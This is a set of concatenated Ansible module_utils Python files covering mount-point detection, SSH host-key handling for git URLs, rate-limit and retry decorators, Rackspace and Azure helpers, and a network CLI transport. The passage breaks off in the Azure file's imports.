# i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010,
# 2011, 2012, 2013, 2014, 2015 Python Software Foundation; All Rights Reserved"
# are retained in Python alone or in any derivative version prepared by Licensee.
#
# 3. In the event Licensee prepares a derivative work that is based on
# or incorporates Python or any part thereof, and wants to make
# the derivative work available to others as provided herein, then
# Licensee hereby agrees to include in any such work a brief summary of
# the changes made to Python.
#
# 4. PSF is making Python available to Licensee on an "AS IS"
# basis.  PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
# IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
# DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
# FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
# INFRINGE ANY THIRD PARTY RIGHTS.
#
# 5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
# FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
# A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
# OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
#
# 6. This License Agreement will automatically terminate upon a material
# breach of its terms and conditions.
#
# 7. Nothing in this License Agreement shall be deemed to create any
# relationship of agency, partnership, or joint venture between PSF and
# Licensee.  This License Agreement does not grant permission to use PSF
# trademarks or trade name in a trademark sense to endorse or promote
# products or services of Licensee, or any third party.
#
# 8. By copying, installing or otherwise using Python, Licensee
# agrees to be bound by the terms and conditions of this License
# Agreement.

import os


def ismount(path):
    """Test whether a path is a mount point
    clone of os.path.ismount (from cpython Lib/posixpath.py)
    fixed to solve https://github.com/ansible/ansible-modules-core/issues/2186
    and workaround non-fixed http://bugs.python.org/issue2466
    this should be rewritten as soon as python issue 2466 is fixed
    probably check for python version and use os.path.ismount if fixed

    to remove replace in this file ismount( -> os.path.ismount( and remove this
    function"""

    try:
        s1 = os.lstat(path)
    except OSError:
        # the OSError should be handled with more care
        # it could be a "permission denied" but path is still a mount
        return False
    else:
        # A symlink can never be a mount point
        if os.path.stat.S_ISLNK(s1.st_mode):
            return False

    parent = os.path.join(path, os.path.pardir)
    parent = os.path.realpath(parent)

    try:
        s2 = os.lstat(parent)
    except OSError:
        # one should handle the returned OSError with more care to figure
        # out whether this is still a mount
        return False

    if s1.st_dev != s2.st_dev:
        return True     # path/.. on a different device as path
    if s1.st_ino == s2.st_ino:
        return True     # path/.. is the same i-node as path, i.e. path=='/'
    return False






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2012-2013
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import os
import hmac

try:
    import urlparse
except ImportError:
    import urllib.parse as urlparse

try:
    from hashlib import sha1
except ImportError:
    import sha as sha1

HASHED_KEY_MAGIC = "|1|"

def add_git_host_key(module, url, accept_hostkey=True, create_dir=True):

    """ idempotently add a git url hostkey """

    if is_ssh_url(url):

        fqdn = get_fqdn(url)

        if fqdn:
            known_host = check_hostkey(module, fqdn)
            if not known_host:
                if accept_hostkey:
                    rc, out, err = add_host_key(module, fqdn, create_dir=create_dir)
                    if rc != 0:
                        module.fail_json(msg="failed to add %s hostkey: %s" % (fqdn, out + err))
                else:
                    module.fail_json(msg="%s has an unknown hostkey. Set accept_hostkey to True or manually add the hostkey prior to running the git module" % fqdn)

def is_ssh_url(url):

    """ check if url is ssh """

    if "@" in url and "://" not in url:
        return True
    for scheme in "ssh://", "git+ssh://", "ssh+git://":
        if url.startswith(scheme):
            return True
    return False

def get_fqdn(repo_url):

    """ chop the hostname out of a url """

    result = None
    if "@" in repo_url and "://" not in repo_url:
        # most likely an user@host:path or user@host/path type URL
        repo_url = repo_url.split("@", 1)[1]
        if repo_url.startswith('['):
            result = repo_url.split(']', 1)[0] + ']'
        elif ":" in repo_url:
            result = repo_url.split(":")[0]
        elif "/" in repo_url:
            result = repo_url.split("/")[0]
    elif "://" in repo_url:
        # this should be something we can parse with urlparse
        parts = urlparse.urlparse(repo_url)
        # parts[1] will be empty on python2.4 on ssh:// or git:// urls, so
        # ensure we actually have a parts[1] before continuing.
        if parts[1] != '':
            result = parts[1]
            if "@" in result:
                result = result.split("@", 1)[1]

            if result[0].startswith('['):
                result = result.split(']', 1)[0] + ']'
            elif ":" in result:
                result = result.split(":")[0]
    return result

def check_hostkey(module, fqdn):
   return not not_in_host_file(module, fqdn)

# this is a variant of code found in connection_plugins/paramiko.py and we should modify
# the paramiko code to import and use this.

def not_in_host_file(self, host):


    if 'USER' in os.environ:
        user_host_file = os.path.expandvars("~${USER}/.ssh/known_hosts")
    else:
        user_host_file = "~/.ssh/known_hosts"
    user_host_file = os.path.expanduser(user_host_file)

    host_file_list = []
    host_file_list.append(user_host_file)
    host_file_list.append("/etc/ssh/ssh_known_hosts")
    host_file_list.append("/etc/ssh/ssh_known_hosts2")
    host_file_list.append("/etc/openssh/ssh_known_hosts")

    hfiles_not_found = 0
    for hf in host_file_list:
        if not os.path.exists(hf):
            hfiles_not_found += 1
            continue

        try:
            host_fh = open(hf)
        except IOError:
            hfiles_not_found += 1
            continue
        else:
            data = host_fh.read()
            host_fh.close()

        for line in data.split("\n"):
            if line is None or " " not in line:
                continue
            tokens = line.split()
            if tokens[0].find(HASHED_KEY_MAGIC) == 0:
                # this is a hashed known host entry
                try:
                    (kn_salt,kn_host) = tokens[0][len(HASHED_KEY_MAGIC):].split("|",2)
                    hash = hmac.new(kn_salt.decode('base64'), digestmod=sha1)
                    hash.update(host)
                    if hash.digest() == kn_host.decode('base64'):
                        return False
                except:
                    # invalid hashed host key, skip it
                    continue
            else:
                # standard host file entry
                if host in tokens[0]:
                    return False

    return True


def add_host_key(module, fqdn, key_type="rsa", create_dir=False):

    """ use ssh-keyscan to add the hostkey """

    keyscan_cmd = module.get_bin_path('ssh-keyscan', True)

    if 'USER' in os.environ:
        user_ssh_dir = os.path.expandvars("~${USER}/.ssh/")
        user_host_file = os.path.expandvars("~${USER}/.ssh/known_hosts")
    else:
        user_ssh_dir = "~/.ssh/"
        user_host_file = "~/.ssh/known_hosts"
    user_ssh_dir = os.path.expanduser(user_ssh_dir)

    if not os.path.exists(user_ssh_dir):
        if create_dir:
            try:
                os.makedirs(user_ssh_dir, int('700', 8))
            except:
                module.fail_json(msg="failed to create host key directory: %s" % user_ssh_dir)
        else:
            module.fail_json(msg="%s does not exist" % user_ssh_dir)
    elif not os.path.isdir(user_ssh_dir):
        module.fail_json(msg="%s is not a directory" % user_ssh_dir)

    this_cmd = "%s -t %s %s" % (keyscan_cmd, key_type, fqdn)

    rc, out, err = module.run_command(this_cmd)
    module.append_to_file(user_host_file, out)

    return rc, out, err







# 2013, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Note: Do not add any code to this file.  module_utils may be a namespace
# package when using Ansible-2.1+ Anything in this file may not be available
# if one of the other packages in the namespace is loaded first.






#
# (c) 2015 Brian Ccoa, <bcoca@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
"""
This module adds shared support for generic api modules

In order to use this module, include it as part of a custom
module as shown below.

** Note: The order of the import statements does matter. **

from ansible.module_utils.basic import *
from ansible.module_utils.api import *

The 'api' module provides the following common argument specs:

    * rate limit spec
        - rate: number of requests per time unit (int)
        - rate_limit: time window in which the limit is applied in seconds

    * retry spec
        - retries: number of attempts
        - retry_pause: delay between attempts in seconds

"""
import time

def rate_limit_argument_spec(spec=None):
    """Creates an argument spec for working with rate limiting"""
    arg_spec = (dict(
        rate=dict(type='int'),
        rate_limit=dict(type='int'),
    ))
    if spec:
        arg_spec.update(spec)
    return arg_spec

def retry_argument_spec(spec=None):
    """Creates an argument spec for working with retrying"""
    arg_spec = (dict(
        retries=dict(type='int'),
        retry_pause=dict(type='float', default=1),
    ))
    if spec:
        arg_spec.update(spec)
    return arg_spec

def basic_auth_argument_spec(spec=None):
    arg_spec = (dict(
        api_username=dict(type='str', required=False),
        api_password=dict(type='str', required=False, no_log=True),
        api_url=dict(type='str', required=False),
        validate_certs=dict(type='bool', default=True)
    ))
    if spec:
        arg_spec.update(spec)
    return arg_spec

def rate_limit(rate=None, rate_limit=None):
    """rate limiting decorator"""
    minrate = None
    if rate is not None and rate_limit is not None:
        minrate = float(rate_limit) / float(rate)
    def wrapper(f):
        last = [0.0]
        def ratelimited(*args,**kwargs):
            if minrate is not None:
                elapsed = time.clock() - last[0]
                left = minrate - elapsed
                if left > 0:
                    time.sleep(left)
                last[0] = time.clock()
            ret = f(*args,**kwargs)
            return ret
        return ratelimited
    return wrapper

def retry(retries=None, retry_pause=1):
    """Retry decorator"""
    def wrapper(f):
        retry_count = 0
        def retried(*args,**kwargs):
            if retries is not None:
                ret = None
                while True:
                    retry_count += 1
                    if retry_count >= retries:
                        raise Exception("Retry limit exceeded: %d" % retries)
                    try:
                        ret = f(*args,**kwargs)
                    except:
                        pass
                    if ret:
                        break
                    time.sleep(retry_pause)
                return ret
        return retried
    return wrapper







# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) 2016, Toshio Kuratomi <tkuratomi@ansible.com>
# Copyright (c) 2015, Marius Gedminas
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import sys

def get_exception():
    """Get the current exception.

    This code needs to work on Python 2.4 through 3.x, so we cannot use
    "except Exception, e:" (SyntaxError on Python 3.x) nor
    "except Exception as e:" (SyntaxError on Python 2.4-2.5).
    Instead we must use ::

        except Exception:
            e = get_exception()

    """
    return sys.exc_info()[1]

try:
    # Python 2.6+
    from ast import literal_eval
except ImportError:
    # a replacement for literal_eval that works with python 2.4. from:
    # https://mail.python.org/pipermail/python-list/2009-September/551880.html
    # which is essentially a cut/paste from an earlier (2.6) version of python's
    # ast.py
    from compiler import ast, parse
    from ansible.module_utils.six import binary_type, string_types, text_type

    def literal_eval(node_or_string):
        """
        Safely evaluate an expression node or a string containing a Python
        expression.  The string or node provided may only consist of the  following
        Python literal structures: strings, numbers, tuples, lists, dicts,  booleans,
        and None.
        """
        _safe_names = {'None': None, 'True': True, 'False': False}
        if isinstance(node_or_string, string_types):
            node_or_string = parse(node_or_string, mode='eval')
        if isinstance(node_or_string, ast.Expression):
            node_or_string = node_or_string.node

        def _convert(node):
            # Okay to use long here because this is only for python 2.4 and 2.5
            if isinstance(node, ast.Const) and isinstance(node.value, (text_type, binary_type, int, float, long, complex)):
                return node.value
            elif isinstance(node, ast.Tuple):
                return tuple(map(_convert, node.nodes))
            elif isinstance(node, ast.List):
                return list(map(_convert, node.nodes))
            elif isinstance(node, ast.Dict):
                return dict((_convert(k), _convert(v)) for k, v in node.items())
            elif isinstance(node, ast.Name):
                if node.name in _safe_names:
                    return _safe_names[node.name]
            elif isinstance(node, ast.UnarySub):
                return -_convert(node.expr)
            raise ValueError('malformed string')
        return _convert(node_or_string)

__all__ = ('get_exception', 'literal_eval')






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by
# Ansible still belong to the author of the module, and may assign their own
# license to the complete work.
#
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2012-2013
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright
#      notice, this list of conditions and the following disclaimer in the
#      documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.

import os
import re
from uuid import UUID

from ansible.module_utils.basic import BOOLEANS
from ansible.module_utils.six import text_type, binary_type

FINAL_STATUSES = ('ACTIVE', 'ERROR')
VOLUME_STATUS = ('available', 'attaching', 'creating', 'deleting', 'in-use',
                 'error', 'error_deleting')

CLB_ALGORITHMS = ['RANDOM', 'LEAST_CONNECTIONS', 'ROUND_ROBIN',
                  'WEIGHTED_LEAST_CONNECTIONS', 'WEIGHTED_ROUND_ROBIN']
CLB_PROTOCOLS = ['DNS_TCP', 'DNS_UDP', 'FTP', 'HTTP', 'HTTPS', 'IMAPS',
                 'IMAPv4', 'LDAP', 'LDAPS', 'MYSQL', 'POP3', 'POP3S', 'SMTP',
                 'TCP', 'TCP_CLIENT_FIRST', 'UDP', 'UDP_STREAM', 'SFTP']

NON_CALLABLES = (text_type, binary_type, bool, dict, int, list, type(None))
PUBLIC_NET_ID = "00000000-0000-0000-0000-000000000000"
SERVICE_NET_ID = "11111111-1111-1111-1111-111111111111"


def rax_slugify(value):
    """Prepend a key with rax_ and normalize the key name"""
    return 'rax_%s' % (re.sub('[^\w-]', '_', value).lower().lstrip('_'))


def rax_clb_node_to_dict(obj):
    """Function to convert a CLB Node object to a dict"""
    if not obj:
        return {}
    node = obj.to_dict()
    node['id'] = obj.id
    node['weight'] = obj.weight
    return node


def rax_to_dict(obj, obj_type='standard'):
    """Generic function to convert a pyrax object to a dict

    obj_type values:
        standard
        clb
        server

    """
    instance = {}
    for key in dir(obj):
        value = getattr(obj, key)
        if obj_type == 'clb' and key == 'nodes':
            instance[key] = []
            for node in value:
                instance[key].append(rax_clb_node_to_dict(node))
        elif (isinstance(value, list) and len(value) > 0 and
                not isinstance(value[0], NON_CALLABLES)):
            instance[key] = []
            for item in value:
                instance[key].append(rax_to_dict(item))
        elif (isinstance(value, NON_CALLABLES) and not key.startswith('_')):
            if obj_type == 'server':
                if key == 'image':
                    if not value:
                        instance['rax_boot_source'] = 'volume'
                    else:
                        instance['rax_boot_source'] = 'local'
                key = rax_slugify(key)
            instance[key] = value

    if obj_type == 'server':
        for attr in ['id', 'accessIPv4', 'name', 'status']:
            instance[attr] = instance.get(rax_slugify(attr))

    return instance


def rax_find_bootable_volume(module, rax_module, server, exit=True):
    """Find a servers bootable volume"""
    cs = rax_module.cloudservers
    cbs = rax_module.cloud_blockstorage
    server_id = rax_module.utils.get_id(server)
    volumes = cs.volumes.get_server_volumes(server_id)
    bootable_volumes = []
    for volume in volumes:
        vol = cbs.get(volume)
        if module.boolean(vol.bootable):
            bootable_volumes.append(vol)
    if not bootable_volumes:
        if exit:
            module.fail_json(msg='No bootable volumes could be found for '
                                 'server %s' % server_id)
        else:
            return False
    elif len(bootable_volumes) > 1:
        if exit:
            module.fail_json(msg='Multiple bootable volumes found for server '
                                 '%s' % server_id)
        else:
            return False

    return bootable_volumes[0]


def rax_find_image(module, rax_module, image, exit=True):
    """Find a server image by ID or Name"""
    cs = rax_module.cloudservers
    try:
        UUID(image)
    except ValueError:
        try:
            image = cs.images.find(human_id=image)
        except(cs.exceptions.NotFound,
               cs.exceptions.NoUniqueMatch):
            try:
                image = cs.images.find(name=image)
            except (cs.exceptions.NotFound,
                    cs.exceptions.NoUniqueMatch):
                if exit:
                    module.fail_json(msg='No matching image found (%s)' %
                                         image)
                else:
                    return False

    return rax_module.utils.get_id(image)


def rax_find_volume(module, rax_module, name):
    """Find a Block storage volume by ID or name"""
    cbs = rax_module.cloud_blockstorage
    try:
        UUID(name)
        volume = cbs.get(name)
    except ValueError:
        try:
            volume = cbs.find(name=name)
        except rax_module.exc.NotFound:
            volume = None
        except Exception as e:
            module.fail_json(msg='%s' % e)
    return volume


def rax_find_network(module, rax_module, network):
    """Find a cloud network by ID or name"""
    cnw = rax_module.cloud_networks
    try:
        UUID(network)
    except ValueError:
        if network.lower() == 'public':
            return cnw.get_server_networks(PUBLIC_NET_ID)
        elif network.lower() == 'private':
            return cnw.get_server_networks(SERVICE_NET_ID)
        else:
            try:
                network_obj = cnw.find_network_by_label(network)
            except (rax_module.exceptions.NetworkNotFound,
                    rax_module.exceptions.NetworkLabelNotUnique):
                module.fail_json(msg='No matching network found (%s)' %
                                     network)
            else:
                return cnw.get_server_networks(network_obj)
    else:
        return cnw.get_server_networks(network)


def rax_find_server(module, rax_module, server):
    """Find a Cloud Server by ID or name"""
    cs = rax_module.cloudservers
    try:
        UUID(server)
        server = cs.servers.get(server)
    except ValueError:
        servers = cs.servers.list(search_opts=dict(name='^%s$' % server))
        if not servers:
            module.fail_json(msg='No Server was matched by name, '
                                 'try using the Server ID instead')
        if len(servers) > 1:
            module.fail_json(msg='Multiple servers matched by name, '
                                 'try using the Server ID instead')

        # We made it this far, grab the first and hopefully only server
        # in the list
        server = servers[0]
    return server


def rax_find_loadbalancer(module, rax_module, loadbalancer):
    """Find a Cloud Load Balancer by ID or name"""
    clb = rax_module.cloud_loadbalancers
    try:
        found = clb.get(loadbalancer)
    except:
        found = []
        for lb in clb.list():
            if loadbalancer == lb.name:
                found.append(lb)

        if not found:
            module.fail_json(msg='No loadbalancer was matched')

        if len(found) > 1:
            module.fail_json(msg='Multiple loadbalancers matched')

        # We made it this far, grab the first and hopefully only item
        # in the list
        found = found[0]

    return found


def rax_argument_spec():
    """Return standard base dictionary used for the argument_spec
    argument in AnsibleModule

    """
    return dict(
        api_key=dict(type='str', aliases=['password'], no_log=True),
        auth_endpoint=dict(type='str'),
        credentials=dict(type='str', aliases=['creds_file']),
        env=dict(type='str'),
        identity_type=dict(type='str', default='rackspace'),
        region=dict(type='str'),
        tenant_id=dict(type='str'),
        tenant_name=dict(type='str'),
        username=dict(type='str'),
        verify_ssl=dict(choices=BOOLEANS, type='bool'),
    )


def rax_required_together():
    """Return the default list used for the required_together argument to
    AnsibleModule"""
    return [['api_key', 'username']]


def setup_rax_module(module, rax_module, region_required=True):
    """Set up pyrax in a standard way for all modules"""
    rax_module.USER_AGENT = 'ansible/%s %s' % (module.ansible_version,
                                               rax_module.USER_AGENT)

    api_key = module.params.get('api_key')
    auth_endpoint = module.params.get('auth_endpoint')
    credentials = module.params.get('credentials')
    env = module.params.get('env')
    identity_type = module.params.get('identity_type')
    region = module.params.get('region')
    tenant_id = module.params.get('tenant_id')
    tenant_name = module.params.get('tenant_name')
    username = module.params.get('username')
    verify_ssl = module.params.get('verify_ssl')

    if env is not None:
        rax_module.set_environment(env)

    rax_module.set_setting('identity_type', identity_type)
    if verify_ssl is not None:
        rax_module.set_setting('verify_ssl', verify_ssl)
    if auth_endpoint is not None:
        rax_module.set_setting('auth_endpoint', auth_endpoint)
    if tenant_id is not None:
        rax_module.set_setting('tenant_id', tenant_id)
    if tenant_name is not None:
        rax_module.set_setting('tenant_name', tenant_name)

    try:
        username = username or os.environ.get('RAX_USERNAME')
        if not username:
            username = rax_module.get_setting('keyring_username')
            if username:
                api_key = 'USE_KEYRING'
        if not api_key:
            api_key = os.environ.get('RAX_API_KEY')
        credentials = (credentials or os.environ.get('RAX_CREDENTIALS') or
                       os.environ.get('RAX_CREDS_FILE'))
        region = (region or os.environ.get('RAX_REGION') or
                  rax_module.get_setting('region'))
    except KeyError as e:
        module.fail_json(msg='Unable to load %s' % e.message)

    try:
        if api_key and username:
            if api_key == 'USE_KEYRING':
                rax_module.keyring_auth(username, region=region)
            else:
                rax_module.set_credentials(username, api_key=api_key,
                                           region=region)
        elif credentials:
            credentials = os.path.expanduser(credentials)
            rax_module.set_credential_file(credentials, region=region)
        else:
            raise Exception('No credentials supplied!')
    except Exception as e:
        if e.message:
            msg = str(e.message)
        else:
            msg = repr(e)
        module.fail_json(msg=msg)

    if region_required and region not in rax_module.regions:
        module.fail_json(msg='%s is not a valid region, must be one of: %s' %
                         (region, ','.join(rax_module.regions)))

    return rax_module






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import re

from ansible.module_utils.network import Command, NetCli, NetworkError, get_module
from ansible.module_utils.network import register_transport, to_list

class Cli(NetCli):
    CLI_PROMPTS_RE = [
        re.compile(r"[\r\n]?[\w+\-\.:\/\[\]]+(?:\([^\)]+\)){,3}(?:>|#) ?$"),
        re.compile(r"\[\w+\@[\w\-\.]+(?: [^\]])\] ?[>#\$] ?$")
    ]

    CLI_ERRORS_RE = [
        re.compile(r"% ?Error"),
        re.compile(r"% ?Bad secret"),
        re.compile(r"invalid input", re.I),
        re.compile(r"(?:incomplete|ambiguous) command", re.I),
        re.compile(r"connection timed out", re.I),
        re.compile(r"[^\r\n]+ not found", re.I),
        re.compile(r"'[^']' +returned error code: ?\d+"),
    ]

    NET_PASSWD_RE = re.compile(r"[\r\n]?password: $", re.I)

    def connect(self, params, **kwargs):
        super(Cli, self).connect(params, kickstart=False, **kwargs)
        self.shell.send('terminal length 0')

    ### implementation of network.Cli ###

    def configure(self, commands, **kwargs):
        cmds = ['configure']
        cmds.extend(to_list(commands))
        cmds.append('end')

        responses = self.execute(cmds)
        return responses[1:-1]

    def get_config(self, params, **kwargs):
        return self.run_commands('show running-config')[0]

    def load_config(self, commands, commit=False, **kwargs):
        raise NotImplementedError

    def replace_config(self, commands, **kwargs):
        raise NotImplementedError

    def commit_config(self, **kwargs):
        command = 'commit'
        self.run_commands([command])

    def abort_config(self, **kwargs):
        command = 'abort'
        self.run_commands([command])

    def run_commands(self, commands):
        cmds = to_list(commands)
        responses = self.execute(cmds)
        return responses
Cli = register_transport('cli', default=True)(Cli)






#
# Copyright (c) 2016 Matt Davis, <mdavis@ansible.com>
#                    Chris Houseknecht, <house@redhat.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

import ConfigParser
import json
import os
import re
import sys
import copy
import importlib
import inspect

from distutils.version import LooseVersion
from os.path import expanduser
from ansible.module_utils.basic import *

AZURE_COMMON_ARGS = dict(
    profile=dict(type='str'),
    subscription_id=dict(type='str', no_log=True),
    client_id=dict(type='str', no_log=True),
    secret=dict(type='str', no_log=True),
    tenant=dict(type='str', no_log=True),
    ad_user=dict(type='str', no_log=True),
    password=dict(type='str', no_log=True),
    # debug=dict(type='bool', default=False),
)

AZURE_CREDENTIAL_ENV_MAPPING = dict(
    profile='AZURE_PROFILE',
    subscription_id='AZURE_SUBSCRIPTION_ID',
    client_id='AZURE_CLIENT_ID',
    secret='AZURE_SECRET',
    tenant='AZURE_TENANT',
    ad_user='AZURE_AD_USER',
    password='AZURE_PASSWORD'
)

AZURE_TAG_ARGS = dict(
    tags=dict(type='dict'),
    append_tags=dict(type='bool', default=True),
)

AZURE_COMMON_REQUIRED_IF = [
    ('log_mode', 'file', ['log_path'])
]

ANSIBLE_USER_AGENT = 'Ansible-Deploy'

CIDR_PATTERN = re.compile("(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1"
                          "[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))")

AZURE_SUCCESS_STATE = "Succeeded"
AZURE_FAILED_STATE = "Failed"

HAS_AZURE = True
HAS_AZURE_EXC = None

try:
    from enum import Enum
    from msrest.serialization import Serializer
